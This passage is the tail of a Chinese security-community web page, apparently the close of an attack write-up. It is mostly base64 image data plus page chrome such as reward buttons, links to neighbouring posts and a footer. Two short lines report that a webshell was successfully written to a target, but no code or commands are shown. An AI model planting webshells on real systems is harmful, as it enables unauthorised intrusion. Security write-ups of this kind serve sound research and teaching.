t9SwXEiGIaFqvp/zll5Hhit36i+GdVnInes9NO4/Ebax9h44jrITHXmiRHcQmQU2Ox2qD66zIDntXw+pH1IcvJIQlzCJdznG/p4GDv9DOf9YvR+eTcvFvfxxuHwNMIFItrjVWzfF8bfp0YIr78YQxS1NsyN8t+J9qHjZ3AcDgdEUYTZbILDIUGWZfA8B0HgYbfbA76HFUXB7cxMMGAClrkTzxfwHFN03AxddwtG29O9PEEUBY85HjF0h4fB8VNV9XcCx/HgeQ52h0OX2d/mLs+T8c1T1x0OIrun8TmS9VduJ6KtJ1VVcfDgYSxbvgqAlnzSYjFjxYrVsFjMaNKkgf6CLliwAFq2aI6//9msG/FIHT+M+RkMw6B9u9ZZ/mZq6jmkZ2SgePHAp+sqioxCBQvitdffRUbGDQDAzp17sGXLds9yqgpF
<p>可以看到已经成功写入了，我们试一试</p>
<p>写入webshell成功</p>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240923002943-df565d08-78ff-1.png><img src="data:image/png;base64,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
</div>
<div class=post-user-action style=margin-top:34px>
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=15692>
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
</span>
<span class="btn btn-default pull-right" id=follow_topic data-pk=15692>
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
</span>
<span class="btn btn-default pull-right">
<span>
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
</span>
</span>
<div class=clearfix></div>
</div>
<div class=related-section>
<div class=related-box>
<span><a class=pull-left href=https://xz.aliyun.com/t/15691 title=路由器dd手动提取固件---迅捷PoEAC路由一体机FR100P-AC固件提取><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇：</span>路由器dd手动提取固件---迅捷P...</a></span>
<span><a class=pull-left href=https://xz.aliyun.com/t/15693 title="kernel pwn从小白到大神(一)"><span class=related-label>下一篇：</span>kernel pwn从小白到大神(一)</a></span>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
<div class=modal-dialog>
<div class=modal-content>
<div class=modal-header>
<h4 class=modal-title id=myModalLabel style=text-align:center>
积分打赏
</h4>
</div>
<div class=modal-body id=button-value>
<div style=text-align:center>
<div role=group>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
1分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
2分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
5分
</button>
</div>
<br>
<div style=margin-top:20px>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
8分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
10分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
20分
</button>
</div>
</div>
</div>
<div class=modal-footer id=confirm>
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
<button type=button class="btn btn-primary" id=reward_topic data-pk=15692>确定</button>
</div>
</div>
</div>
</div>
<div class="row box">
<ol class=breadcrumb>
<li class=active>0 条回复</li>
</ol>
<div class="box-container post-container">
<ul>
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指，沙发就是你的了！</strong></li>
</ul>
</div>
</div>
<div class="row box" id=reply-box>
<div class="box-container clearfix">
<div class=reminder>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15692&amp;from_type=xianzhi"><strong>登录</strong></a> 后跟帖
</div>
</div>
</div>
</div>
</div>
</div>
<footer class=bs-docs-footer>
<div class="container text-center">
<div class=links>
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
<a href=https://xz.aliyun.com/connection>联系我们</a>
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
</div>
</div>
</footer>
<div id=waf_nc_block style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c
Reference in New Issue Copy Permalink